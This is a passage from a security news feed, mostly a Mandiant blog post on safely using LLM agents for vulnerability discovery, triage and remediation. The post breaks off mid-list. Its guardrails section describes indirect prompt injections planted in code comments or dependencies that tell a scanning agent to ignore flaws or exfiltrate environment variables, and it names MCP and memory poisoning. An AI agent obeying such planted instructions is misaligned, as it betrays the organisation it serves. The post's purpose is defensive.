<description><![CDATA[TuxCare CEO Igor Seletskiy explains why vulnerability backlogs, remediation speed, and contextual risk should complement traditional CVE severity ratings.
The post AI Makes Low-Severity Vulnerabilities More Dangerous appeared first on LinuxInsider.]]></description>
<link>https://tsecurity.de/de/3673978/unix-server/ai-makes-low-severity-vulnerabilities-more-dangerous/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673978/unix-server/ai-makes-low-severity-vulnerabilities-more-dangerous/</guid>
<pubDate>Thu, 16 Jul 2026 17:31:49 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="300" height="156" src="https://www.linuxinsider.com/wp-content/uploads/sites/2/2026/07/Igor-Seletskiy-TuxCare-300x156.jpg" class="attachment-medium size-medium wp-post-image" alt="TuxCare CEO Igor Seletskiy" decoding="async" srcset="https://www.linuxinsider.com/wp-content/uploads/sites/2/2026/07/Igor-Seletskiy-TuxCare-300x156.jpg 300w, https://www.linuxinsider.com/wp-content/uploads/sites/2/2026/07/Igor-Seletskiy-TuxCare-768x399.jpg 768w, https://www.linuxinsider.com/wp-content/uploads/sites/2/2026/07/Igor-Seletskiy-TuxCare.jpg 1000w" sizes="(max-width: 300px) 100vw, 300px"></div>
<p>TuxCare CEO Igor Seletskiy explains why vulnerability backlogs, remediation speed, and contextual risk should complement traditional CVE severity ratings.</p>
<p>The post <a href="https://www.linuxinsider.com/story/ai-makes-low-severity-vulnerabilities-more-dangerous-177747.html">AI Makes Low-Severity Vulnerabilities More Dangerous</a> appeared first on <a href="https://www.linuxinsider.com/">LinuxInsider</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Demystifying AI Exploits: A Blueprint for AI-Assisted Vulnerability Management]]></title>
<description><![CDATA[Written by: Jules Czarniak

Introduction 
As highlighted in the Mandiant M-Trends 2026 report, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. 
To keep pace, many security teams are exploring how to integrate la...]]></description>
<link>https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</guid>
<pubDate>Thu, 16 Jul 2026 16:23:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Jules Czarniak</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction </span></h3>
<p><span>As highlighted in the </span><a href="https://cloud.google.com/security/resources/m-trends"><span>Mandiant M-Trends 2026 report</span></a><span>, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. </span></p>
<p><span>To keep pace, many security teams are exploring how to integrate large language model (LLM) agents into their codebases, development environments and continuous integration and continuous delivery (CI/CD) pipelines for automated vulnerability discovery and remediation. However, deploying privileged artificial intelligence (AI) agents without mature integration processes introduces new architectural risks. </span></p>
<p><span>In response to customer inquiries about how to safely integrate AI capabilities into vulnerability management workflows, this blog provides actionable guidance from Mandiant Consulting about how to establish operational guardrails for AI assisted vulnerability management, including several detailed scenarios. What each of these examples show is that security teams can accelerate workflows with AI while also upholding the structural integrity of their environments. We suggest that combining AI capabilities with deterministic controls and human intelligence in strategic ways maximizes benefits and reduces risk. </span></p>
<h3><span>Establish Operational Guardrails to Safely Deploy AI Agents</span></h3>
<p><span>To safely adopt advanced AI capabilities without introducing unpredictable failures into deployment pipelines, organizations should ground their approach in established industry standards. While guidelines like the </span><a href="https://www.nist.gov/itl/ai-risk-management-framework" rel="noopener" target="_blank"><span>NIST AI Risk Management Framework (RMF)</span></a><span> and the </span><a href="https://owasp.org/www-project-top-10-for-large-language-model-applications/" rel="noopener" target="_blank"><span>OWASP Top 10 for LLMs</span></a><span> provide comprehensive baselines for identifying risks, operationalizing these controls requires a structural blueprint.</span></p>
<p><span>Frameworks like </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>Google’s Secure AI Framework (SAIF)</span></a><span> </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>and</span></a><a href="https://storage.googleapis.com/gweb-research2023-media/pubtools/1018686.pdf" rel="noopener" target="_blank"><span> </span><span>Google’s approach to secure AI Agents</span></a><span> provide a practical path forward, demanding that organizations extend existing deterministic controls directly into the AI execution environment. When deploying AI agents, security teams should navigate specific operational and structural risks:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Pre-agent data security and Defense-in-Depth:</strong><span> Agents should not be able to access personally identifiable information (PII), protected health information (PHI), or other sensitive data. Organizations should enforce data security before the prompt reaches the model. This includes strictly using non-production environments populated with synthetic data for testing. For production, security teams should deploy a hybrid defense-in-depth model. This includes Layer 1 deterministic policy engines acting as chokepoints, alongside Layer 2 reasoning-based defenses like specialized guard models (such as </span><a href="https://docs.cloud.google.com/model-armor/overview"><span>Model Armor</span></a><span> or similar provider-agnostic guardrails) to filter out sensitive data and block malicious prompt injections before they reach the agent layer. Crucially for vulnerability discovery, security teams should treat the codebase itself as an untrusted input. Threat actors can embed indirect prompt injections within source code comments or third-party dependencies (e.g., hidden instructions telling the agent to ignore vulnerabilities or exfiltrate environment variables), making input sanitation a requirement even for internal scanning.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Cloud provider limitations and zero data retention (ZDR):</strong><span> Many cloud and LLM providers block or throttle automated offensive security probing by default to prevent abuse. Organizations should establish clear rules of engagement and authorized testing agreements to navigate acceptable use policies. Furthermore, organizations should enforce strict zero data retention (ZDR) agreements with their LLM providers to guarantee that proprietary code and discovered vulnerabilities are never used to train external models.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Workload isolation:</strong><span> Agent workloads should execute in strictly isolated, unprivileged containers with dynamically limited privileges. By relying on robust sandboxing to prevent privilege escalation, if an agent hallucinates a destructive command or is hijacked via prompt injection, the blast radius remains contained.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Red Teaming:</strong><span> Before deploying autonomous vulnerability scanners that can dynamically spin up sandboxes and execute code, organizations should subject the AI agents themselves to human-led red teaming as part of comprehensive assurance efforts. This validates the agent's resilience against jailbreaks, recursive logic loops, and complex prompt injections, ensuring the security tooling does not become the attack vector.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Least-Privileged Machine Identities and Human Controllers:</strong><span> While workloads should be isolated, agents inherently require privileges to generate pull requests and commit code. Security teams should ensure these agents operate under distinct, strictly scoped machine identities that tie back to human controllers to ensure accountability and user consent. Organizations should use short-lived, just-in-time (JIT) tokens bound exclusively to the specific repository and branch under review. T</span><span>his enforces the principle of limited agent powers and ensures that even if an agent’s container is compromised via prompt injection, the threat actor cannot pivot to modify adjacent enterprise codebases.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Supply chain resilience for skills:</strong><span> As developers augment AI with third-party skills and model context protocol (MCP) servers, security teams should treat these integrations as untrusted supply chain components. MCP plugins introduce the risk of supply chain poisoning, where a previously benign integration is silently updated with malicious dependencies. Additionally, security teams should evaluate the underlying agent orchestration frameworks themselves (e.g., LangChain, AutoGen) for inherent vulnerabilities, such as session memory poisoning or recursive loop hijacking.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Toxic flow analysis (TFA) and Observable Actions:</strong><span> The objective of TFA is to monitor data paths at runtime, ensuring agents do not exfiltrate sensitive internal context to unvetted external endpoints. Agent actions, inputs, reasoning, and outputs must be fully observable and transparently logged. While implementing dynamic taint tracking for LLMs remains a complex architectural challenge, organizations should clearly separate this runtime observability from static supply chain controls. Integrating threat intelligence to hash and vet incoming agent tools provides a necessary baseline for verifying integrity </span><span>before</span><span> deployment. However, because static controls cannot address behavior post-deployment, mitigating data exfiltration ultimately requires active runtime monitoring and secure, centralized logging to trace and restrict the actual flow of data.</span></p>
</li>
</ul></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image1.max-1000x1000.png" alt="Demystifying AI image1">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="u6hlz">Figure 1: Visual representation of an isolated AI agent environment using SAIF mechanisms</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>By operationalizing these tools within frameworks that demand verifiable integrity and structural resilience, organizations can safely bridge the gap between AI velocity and enterprise defense.</span></p>
<h3><span>The need for human-led threat modeling</span></h3>
<p><span>While LLMs excel at identifying syntax patterns, source code itself rarely contains the full picture of unwritten business intent. Some organizations attempt to solve this by connecting LLM agents to internal wikis, design documents, and issue trackers using retrieval-augmented generation (RAG).</span></p>
<p><span>While RAG gives the model access to external business context, it is not a perfect fix. Corporate documentation is frequently stale, contradictory, or incomplete. An AI agent might retrieve an outdated architecture diagram and confidently hallucinate a secure path that no longer exists in production. Because LLM agents struggle to resolve conflicting, undocumented human assumptions, human-led threat modeling remains a critical security control across both legacy applications and modern agent workflows.</span></p>
<p><span>Security teams should apply threat modeling during both the pre-build system design phase to establish a secure foundation, and during post-build architecture reviews. While an AI agent might successfully identify a poorly configured internal endpoint locally, a human threat modeler asks the structural question: </span><span>why does that microservice possess broad database read permissions in the first place?</span><span> </span></p>
<p><span>Identifying architectural vulnerabilities requires reasoning about business risk, data sensitivity, and operational constraints. To structure this process, organizations can use industry frameworks like PASTA (Process for Attack Simulation and Threat Analysis) or service offerings like the </span><a href="https://services.google.com/fh/files/misc/ds-threat-modeling-security-service-en.pdf" rel="noopener" target="_blank"><span>Mandiant Threat Modeling Security Service</span></a><span> to map trust boundaries, uncover structural design flaws, and prioritize compensating controls. Securing fundamental architecture through human oversight is a necessary component when relying on automated agents to find bugs in a poorly designed system.</span></p>
<p><span>Once these AI agents are safely sandboxed, as guided by SAIF, and the architecture is verified through threat modeling, organizations can typically apply them to two different problem spaces: Enterprise Vulnerability Management (to assist in managing the volume of known CVEs in commercial off-the-shelf (COTS) software and infrastructure) and Product Security (to identify vulnerabilities in 1st-party (1P) code).</span></p>
<h3><span>Track 1: Enterprise Vulnerability Management</span></h3>
<h4><span>Foundational security and discovery </span></h4>
<p><span>While the second track of this post explores how AI agents can uncover complex zero-days in custom code, organizations should manage the scale of enterprise infrastructure in tandem with these AI deployments. Even as new AI capabilities dominate headlines, organizations should still address foundational security challenges, such as secrets sprawl, unmanaged service accounts, missing FIDO2 MFA, and legacy VPN concentrators. Although vulnerability exploitation was the primary initial infection vector in intrusions Mandiant investigated last year, threat actors consistently rely on missing foundational controls and unpatched edge devices to secure and escalate their foothold after exploiting a vulnerability.</span></p>
<p><span>Furthermore, AI cannot replace foundational visibility. As security teams deploy AI agents, they should simultaneously close these tactical entry points by maximizing dynamic discovery capabilities like External Attack Surface Management (EASM), Cloud Security Posture Management (CSPM), and Continuous Threat Exposure Management (CTEM). In hybrid and cloud environments, tools like </span><a href="https://cloud.google.com/wiz?e=48754805"><span>Wiz</span></a><span> can be used to map this initial footprint.</span></p>
<h3><span>Risk-based vulnerability management </span></h3>
<p><span>Vulnerability management teams are already overwhelmed by the current volume of findings generated by traditional scanners. As organizations scale dynamic discovery tools, such as EASM, CSPM and CTEM, alongside automated AI agents, this influx of findings will compound the problem. To manage this influx, telemetry from these diverse discovery methods must first be normalized and deduplicated. This normalized data serves two purposes: it feeds directly into the risk engine, and it acts as a live overlay to correct stale records in the configuration management database (CMDB). By evaluating the deduplicated vulnerabilities alongside this newly updated asset context and frontline threat intelligence, the RBVM engine calculates a custom risk score that allows security teams to dynamically prioritize remediation.</span></p>
<p><span>A mature RBVM methodology calculates a customized risk score on a 0 to 100 scale using a weighted average. A sample formula for calculating this risk-based score is:</span></p>
<p><span>Final Score = (W_1 * S_vuln) + (W_2 * S_asset) + (W_3 * S_threat)</span></p>
<p><span>The variables and weights (W) are customized to the organization's risk appetite (for example, 0.20 for vulnerability, 0.40 for asset, and 0.40 for threat, summing to 1.0), while the underlying variables (S) are scored on a 0 to 100 scale and defined as follows:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Vulnerability severity (S_vuln): </strong><span>The inherent technical severity of the flaw. This is calculated by taking the CVSS Base Score (which natively accounts for confidentiality, integrity, and availability impact) and multiplying it by 10.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Asset context (S_asset): </strong><span>A combined metric of exposure and data sensitivity. Scores range from 100 for internet-facing assets holding customer data, down to 25 for internal-only assets with no sensitive data. To translate this impact into monetary terms for non-technical stakeholders, organizations can incorporate Factor Analysis of Information Risk (FAIR) principles into this metric. However, this approach requires highly accurate, continuously updated financial data that many enterprises struggle to maintain at scale.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Threat context (S_threat): </strong><span>The real-world urgency of the vulnerability. Scores range from 100 if actively exploited by threat actors relevant to the organization's profile, 75 if a proof-of-concept exists or if it is a vulnerability class easily exploited by autonomous AI agents, down to 25 if the exploit is theoretical and highly complex. Organizations should also map the Exploit Prediction Scoring System (EPSS) probability percentage directly into this variable. This allows the threat score to automatically scale up or down as real-world exploitation telemetry shifts, aligning static vulnerability data with active threat intelligence.</span></p>
</li>
</ul>
<p><span>An asset's customized risk score should directly influence internal remediation service-level agreements (SLAs), unless external compliance-driven mandates, such as CISA Binding Operational Directives (BODs), or relevant equivalents, override internal prioritization. A risk-driven and threat-intelligence-driven vulnerability prioritization methodology will help organizations focus resources on managing and mitigating the most critical security vulnerabilities first. This is an area where LLMs can support the vulnerability management process, particularly by helping teams synthesize unstructured threat intelligence to surface relevant risk contexts more efficiently. Enforcing strict SLOs for patching, while requiring formal risk acceptance documentation for any patching exceptions, will help reduce the number of vulnerabilities available to threat actors and increase the visibility of outstanding risks across the organization. Furthermore, organizations should integrate RBVM data directly into their security orchestration, automation, and response (SOAR) platforms for automated alert enrichment.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--medium
      
      
        h-c-grid__col
        
        h-c-grid__col--4 h-c-grid__col--offset-4
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image5.max-1000x1000.png" alt="Demystifying AI image5">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ce5s1">Figure 2: Integration points of a risk-based vulnerability management (RBVM) program.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Containment and Observability</span></h3>
<p><span>Modern architecture blueprints must prioritize attack surface reduction under the assumption that vulnerabilities will inevitably be exploited. Moving away from traditional perimeter defenses, organizations should align with zero trust principles, ensuring that security boundaries are established around every asset, workload, and identity.</span></p>
<p><span>A component of this alignment is the implementation of strong authentication principles. Organizations should eliminate implicit trust by enforcing continuous, context-aware authentication and authorization. Utilizing Zero Trust Network Access (ZTNA) solutions, such as Identity-Aware Proxies (IAP), shields critical management interfaces (e.g., SSH, RDP) and internal systems from direct internet exposure, granting access only to verified identities and compliant devices.</span></p>
<p><span>For public-facing applications and APIs, attack surface reduction involves deploying Layer 7 inspection at the load balancer or API gateway level. This hardening layer enforces strict schema validation, intercepting and neutralizing malformed inbound traffic and potential exploits before they can interact with internal application logic.</span></p>
<p><span>Securing the software supply chain is equally vital in modern blueprints, and organizations should align with frameworks like </span><a href="https://slsa.dev/spec/v0.1/levels" rel="noopener" target="_blank"><span>Supply-chain Levels for Software Artifacts (SLSA)</span></a><span> across both dependency and build tracks. Security policies should mandate that third-party dependencies are routed through a centralized artifact repository equipped with automated curation services, such as </span><a href="https://cloud.google.com/security/products/assured-open-source-software"><span>Google Assured Open Source Software (OSS)</span></a><span> or an equivalent solution, preventing untrusted code from entering the development lifecycle. Furthermore, maturing toward advanced SLSA build levels (e.g., SLSA level 3) through the implementation of isolation, ephemerality and reproducibility requirements via  ephemeral compute infrastructure for CI/CD runners reduces the likelihood of attacker persistence by ensuring environments are short-lived and automatically cycled.</span></p>
<p><span>To complement these pre-build controls, runtime observability should be established across all production workloads. This requires monitoring both infrastructure-level behavior and the specific runtime libraries actively executing in production, which surfaces true exploitable risk far beyond a static Software Bill of Materials. In tandem with monitoring workloads, organizations should secure how they authenticate by implementing workload identity federation. By removing static credentials and instead using short-lived tokens backed by strong cryptographic identity verification, organizations can reduce the risk of credential theft and unauthorized lateral movement.</span></p>
<p><span>Within the internal environment, microsegmentation should be enforced to break down flat networks into granular security zones. Routing application traffic through a Secure Access Service Edge (SASE) architecture integrates network routing directly with robust identity controls, rendering internal services completely invisible to unauthenticated users and containing threats to their initial point of entry.</span></p>
<p><span>Finally, automated containment and incident response within a zero trust framework must rely on deterministic, auditable tooling. Endpoint detection and response (EDR) platforms and SOAR playbooks should handle high-fidelity containment tasks through hardcoded execution logic. While AI tools accelerate triage and policy recommendation, actual execution capabilities must remain restricted to well-defined, pre-tested workflows to maintain total architectural predictability.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image8.max-1000x1000.png" alt="Demystifying AI image8">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ak3zc">Figure 3: Structural containment and observability architecture</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Track 2: Product Security &amp; Development (1P Code)</span></h3>
<h4><span>Deterministic and probabilistic tooling</span></h4>
<p><span>Integrating LLM agents into vulnerability management and security workflows requires recognizing the differences between deterministic and probabilistic tooling. Traditional SAST and DAST tools utilize fixed methodologies to evaluate vulnerabilities through structural code parsing or definitive runtime observations. LLMs, however, evaluate source code by processing tokens simultaneously to calculate statistical and semantic relationships, rather than tracing deterministic execution tracks.</span></p>
<p><span>While techniques like Chain of Thought (CoT) prompting allow models to bridge this gap by decomposing complex code paths into intermediate reasoning steps, this process remains bounded by architectural limitations. Even when a model possesses a context window large enough to ingest entire repositories, it may experience attention degradation across long inputs, often failing to correctly weight intervening validation or sanitization logic within the prompt. For example, if a variable is tainted on line 10 but sanitized on line 500, attention degradation can cause the model to lose track of the sanitization logic. Furthermore, when enterprise codebases require chunking to fit within context limits, the resulting fragmentation may cause the model to lose track of end-to-end data flows.</span></p>
<p><span>Consequently, probabilistic engines are effective at uncovering localized, static anomalies, such as hardcoded credentials or outdated dependencies, but frequently misjudge complex vulnerabilities split across fragmented chunks or extended context windows. Notable exceptions occur when these probabilistic models are coupled with deterministic feedback loops. For instance, when analyzing C++ memory corruption, an LLM can be equipped with a test harness to iteratively execute code and definitively prove a crash. While these dynamic validation applications are detailed in subsequent sections, the baseline limitation for static analysis across standard enterprise codebases remains: models struggle to consistently evaluate dispersed logic.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image4.max-1000x1000.png" alt="Demystifying AI image4">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ak3zc">Figure 4: Deterministic SAST scanners vs. probabilistic LLMs</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Binary and architectural oracles</span></h3>
<p><span>Many security programs are moving toward agent workflows where an agent autonomously spins up a test environment and uses tools to execute payloads and verify its findings. This is a promising approach, but it is important to understand where it is most effective.</span></p>
<p><span>Agent workflows perform well against bug classes with binary and observable oracles, meaning the system provides an objective, 'crash or no crash' feedback loop. For example, if a model is hunting for memory corruption in a C++ kernel, a successful exploit is undeniable: the payload executes, and a resulting crash definitively proves the vulnerability. This explains why the industry is currently seeing a surge in AI-discovered vulnerabilities across memory-unsafe targets like web browsers and operating systems.</span></p>
<p><span>However, enterprise software is heavily dominated by vulnerabilities that require architectural oracles for validation. Vulnerabilities like authorization bypasses, complex business logic flaws, and indirect server-side request forgeries require an understanding of business context and cross-service trust boundaries. If an agent's payload fails to produce a clear outcome, it can't reliably distinguish whether the vulnerability is a hallucination or if it simply constructed the payload incorrectly. An agent's malformed payload might even crash an unrelated background process and cause the model to hallucinate a success and report a false confirmation. Complex enterprise architecture contains unwritten business intent that a probabilistic engine can't inherently know.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image3.max-1000x1000.png" alt="Demystifying AI image3">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 5: Evaluating vulnerabilities against binary vs. architectural oracles</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Targeted deployment and human impact</span></h3>
<p><span>Organizations adopting LLMs for vulnerability discovery face a massive staffing challenge. LLMs can generate findings significantly faster than human engineers can triage them. If every LLM-generated alert requires manual review, security teams will quickly face burnout and/or suffer alarm fatigue.</span></p>
<p><span>Rather than indiscriminately pointing agents at all available codebases and risking an influx of unverified output, security teams need a selective deployment strategy. Mature programs should maintain SAST and DAST for baseline hygiene and deterministic rule enforcement, and reserve intensive agent audits for high-impact components with clear binary oracles.</span></p>
<p><span>Organizations can prioritize agent audits on systems where the technology's strengths align with the broader risk profile:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Memory-unsafe codebases:</strong><span> Legacy or high-performance components written in memory-unsafe languages such as C, C++, or Assembly are strong candidates for LLM audits. These languages are susceptible to memory corruption flaws, such as buffer overflows and use-after-free conditions. Because these vulnerabilities trigger definitive failure states like segmentation faults, they work well with automated sandboxes where agents can compile the code with memory sanitizers and write proof-of-concept inputs. This approach is also effective for auditing the native extensions where safe languages call unsafe internal libraries, such as Python C extensions or the Java Native Interface (JNI).</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Systems highly exposed to outside content:</strong><span> First-party data ingestion pipelines, custom API gateways, or proprietary edge proxies. A prerequisite here is direct access to the source code, this strategy is strictly for internally developed or fully open-source codebases where the organization can inspect the logic. Because these systems directly parse untrusted internet traffic, targeting their source code for LLM-driven audits yields the highest risk-reduction ROI.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Shared internal libraries and utilities: </strong><span>Core serialization/deserialization packages, common utility functions, and custom middleware wrappers (such as internal message-queue parsers) maintained in-house. Because the enterprise owns the source code for these shared building blocks, agent tools can easily hook into them within automated test harnesses to fuzz inputs and catch low-level logic or parsing bugs with high fidelity.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Foundational security boundaries:</strong><span> Internally developed centralized authentication services, custom OAuth providers, and internal credential brokers. While testing complex identity boundaries generates higher logic-based noise, having full access to the source code allows teams to pair agents with deterministic checks to safely triage findings, given that the blast radius of an authentication failure justifies the human effort.</span></p>
</li>
</ul>
<p><span>To filter the noise generated by LLMs, organizations should establish routing rules. Require the agent to generate a fully reproducible, deterministic test harness (such as a compiled binary or a Python test script) that attempts to prove the exploit. This harness must execute automatically in an isolated, monitored sandbox. If the sandbox execution fails (due to a syntax error or a failed exploit), the ticket is discarded, sparing human resources. However, organizations should enforce execution timeouts and iteration limits on these test harnesses. Without hard limits, an autonomous agent attempting to prove a vulnerability can fall into an infinite loop: writing a script, failing, rewriting, and failing again, exhausting API token budgets and compute resources against a single dead-end vulnerability, creating significant cost overruns without advancing the security review. To manage these expenses, organizations should incorporate FinOps principles to balance the compute and API costs of LLM audits against the traditional expenses of manual triage.</span></p>
<p><span>However, a successful execution in the sandbox does not guarantee an actionable, high-priority risk. In practice, autonomous agents frequently produce working PoCs for genuine technical flaws that are ultimately irrelevant; or warrant a lower remediation priority within the context of the system's threat model. For example, the agent might successfully exploit an unreachable dead-code path, or trigger a bug that requires administrative access to execute and yields no further escalation of privilege. Therefore, a human engineer should be assigned to review and prioritize the ticket only if the sandbox registers a successful execution, validating environmental context, reachability, and true business impact as part of the review.</span></p>
<p><span>This workflow reduces the volume of alerts, but it is important to understand that the security team's workload does not disappear. The engineer's primary job shifts from manually hunting for the initial vulnerability to auditing the LLM-generated proof to ensure it represents a meaningful risk rather than an unexploitable or contextually irrelevant finding. Leadership should properly staff and train teams for this new reality. Deploying LLM agents does not remove the need for skilled practitioners; it redirects their workload toward complex validation. Equally important is training teams to recognize the risk of false negatives. A hyper-focus on filtering AI-generated noise can create a false sense of security. If an exploit relies on a novel technique or a zero-day vulnerability that was not heavily weighted in the model's training data, the agent will likely scan right past it in silence. LLMs augment discovery, but they do not guarantee exhaustive coverage.</span></p>
<p><span>When integrating LLMs into SAST triage pipelines, human engineers should also verify the broader architectural integrity. Prompting an LLM with specific SAST warnings can induce contextual narrowing, where the agent becomes hyper-fixated on resolving a localized syntax error and misses broader architectural flaws existing in the same file. Furthermore, if the agent's mandate extends beyond discovery to automated remediation (such as writing and proposing code fixes), this human-in-the-loop validation becomes critical to ensure the LLM does not inadvertently introduce new regressions or bypass intended business logic.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/image_20.max-1000x1000.png" alt="Demistiying Image 6 New">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 6: Flowchart outlining the targeted LLM deployment and triage workflow.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Remediation and hardening</span></h3>
<h4><span>LLM-assisted code remediation</span></h4>
<p><span>A primary goal of integrating large language models (LLMs) into the software development lifecycle is automated remediation. To achieve this, organizations are deploying these capabilities through two primary execution methods: directly within the integrated development environment (IDE) or as a centralized pipeline runner. Examples include </span><a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/" rel="noopener" target="_blank"><span>CodeMender</span></a><span>, although as of time of writing, it is not publicly available.</span></p>
<h4><strong>IDE-integrated method</strong><span> </span></h4>
<p><span>This method shifts remediation as far left as possible by operating as an active pair-programmer. Tools running continuous static analysis in the background of the IDE surface vulnerabilities directly to the developer via editor diagnostics like inline indicators or hover tooltips.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Localized scope:</strong><span> The developer can trigger the LLM agent to analyze the localized data flow and generate a targeted patch (such as implementing parameterized SQL queries). By constraining the LLM to localized, syntax-level fixes, the scope of the change remains contained. This prevents the agent from attempting sprawling, multi-file refactors that frequently break complex architectural logic.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Human-in-the-loop:</strong><span> The developer reviews the AI-generated patch before the code is committed.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Managing false positives:</strong><span> Local IDE agents allow developers to manage false positives dynamically. Suppressing alerts anchored to specific line text reduces alert fatigue and preserves developer trust.</span></p>
</li>
</ul>
<h4><strong>CI/CD runner method</strong><span> </span></h4>
<p><span>The runner method executes asynchronously within the CI/CD pipeline to use an LLM to review committed code and automatically propose remediation.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Restricted execution and deterministic validation: </strong><span>Asking a centralized runner to automatically rewrite a complex, multi-file authorization flaw directly in the main branch introduces a high risk of breaking logic errors. To mitigate this, agents must be restricted to generating pull requests (PRs). Once a PR is generated, it must automatically execute standard regression suites alongside the deterministic test harness. By rerunning the initial PoC against the patched code, the workflow repurposes the exploit script as a validation oracle to prove the vulnerability has been remediated. A human engineer then reviews the PR to validate the architectural logic before merging.</span></p>
</li>
</ul>
<p><span>In all cases security teams should define a clear boundary between the two methods rather than rely on a single approach. IDE agents provide immediate, syntax-level support. They catch and resolve low-complexity errors locally before developers commit code. Centralized CI/CD runners handle broader organizational baselines. They propose complex, repository-wide fixes for vulnerabilities that bypass local environments.</span></p>
<h4><strong>Post-deployment controls</strong><span> </span></h4>
<p><span>Even with human review and deterministic test harnesses, AI-generated patches can still introduce logic regressions in production. Organizations should implement strict post-deployment controls:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Automated rollbacks:</strong><span> Treating LLM-generated code with the same post-deployment scrutiny as any major architectural change ensures that if an unforeseen regression traverses the CI/CD pipeline, the environment can revert to a known good state.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Mitigating model drift:</strong><span> Relying on managed AI services introduces the ongoing risk of model drift. To prevent silent weight updates from breaking test harnesses, organizations need to pin specific model API versions to frozen releases. When a pinned version reaches its end-of-life, organizations will face a forced migration. Mitigating this pipeline fragility requires combining model pinning with deterministic regression suites.</span></p>
</li>
<li aria-level="1">
